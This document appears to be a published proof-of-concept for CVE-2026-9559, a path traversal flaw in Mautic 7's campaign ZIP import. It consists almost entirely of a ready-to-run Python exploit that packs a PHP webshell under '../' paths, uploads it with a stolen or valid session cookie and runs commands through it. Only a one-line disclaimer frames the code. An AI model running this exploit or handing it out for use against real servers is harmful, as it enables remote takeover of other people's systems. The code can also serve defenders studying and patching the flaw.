CVE-2026-9559 Mautic 7 路径遍历导致远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-9559 PoC - Mautic 7 Path Traversal leading to RCE Note: This PoC is for educational and authorized testing purposes only. """ import zipfile import os import sys import requests def create_malicious_zip(): """Create a malicious ZIP file with path traversal payload""" # Create a PHP webshell that will be written to web root webshell_content = b'<?php system($_GET["cmd"]); ?>' # Path traversal to write to web root webshell_path = '../../../var/www/html/mautic/shell.php' # Alternative: Overwrite Mautic configuration config_path = '../../../var/www/html/mautic/config.php' zip_filename = 'campaign_import.zip' with zipfile.ZipFile(zip_filename, 'w') as zipf: # Add webshell with path traversal zipf.writestr(webshell_path, webshell_content) # Add legitimate campaign data to pass validation zipf.writestr('campaigns/import.csv', 'name,description\nMalicious Campaign,Test') print(f'[+] Created malicious ZIP: {zip_filename}') return zip_filename def exploit_mautic(target_url, zip_file, session_cookie): """ Upload the malicious ZIP file via campaign import feature Args: target_url: Base URL of Mautic installation zip_file: Path to malicious ZIP file session_cookie: Valid session cookie for authenticated user """ upload_url = f'{target_url}/s/campaigns/import' headers = { 'Cookie': f'mautic_session={session_cookie}', 'X-Requested-With': 'XMLHttpRequest' } files = { 'file': ('campaign_import.zip', open(zip_file, 'rb'), 'application/zip') } data = { 'import': 1 } try: response = requests.post(upload_url, headers=headers, files=files, data=data) if response.status_code == 200: print('[+] Malicious ZIP file uploaded successfully') print('[+] Path traversal should have written webshell to web root') # Check if webshell exists webshell_url = f'{target_url}/shell.php?cmd=id' check_response = requests.get(webshell_url) if check_response.status_code == 200: print('[+] RCE CONFIRMED - Webshell deployed successfully') print(f'[+] Command output: {check_response.text}') return True else: print(f'[-] Upload failed with status code: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return False def main(): if len(sys.argv) < 4: print(f'Usage: {sys.argv[0]} <target_url> <session_cookie> <action>') print('Example: python3 cve_2026_9559.py http://target.com "abc123" create') sys.exit(1) target_url = sys.argv[1].rstrip('/') session_cookie = sys.argv[2] action = sys.argv[3] if action == 'create': zip_file = create_malicious_zip() print(f'[+] ZIP file created: {zip_file}') elif action == 'exploit': zip_file = 'campaign_import.zip' exploit_mautic(target_url, zip_file, session_cookie) else: print('[-] Invalid action. Use "create" or "exploit"') if __name__ == '__main__': main()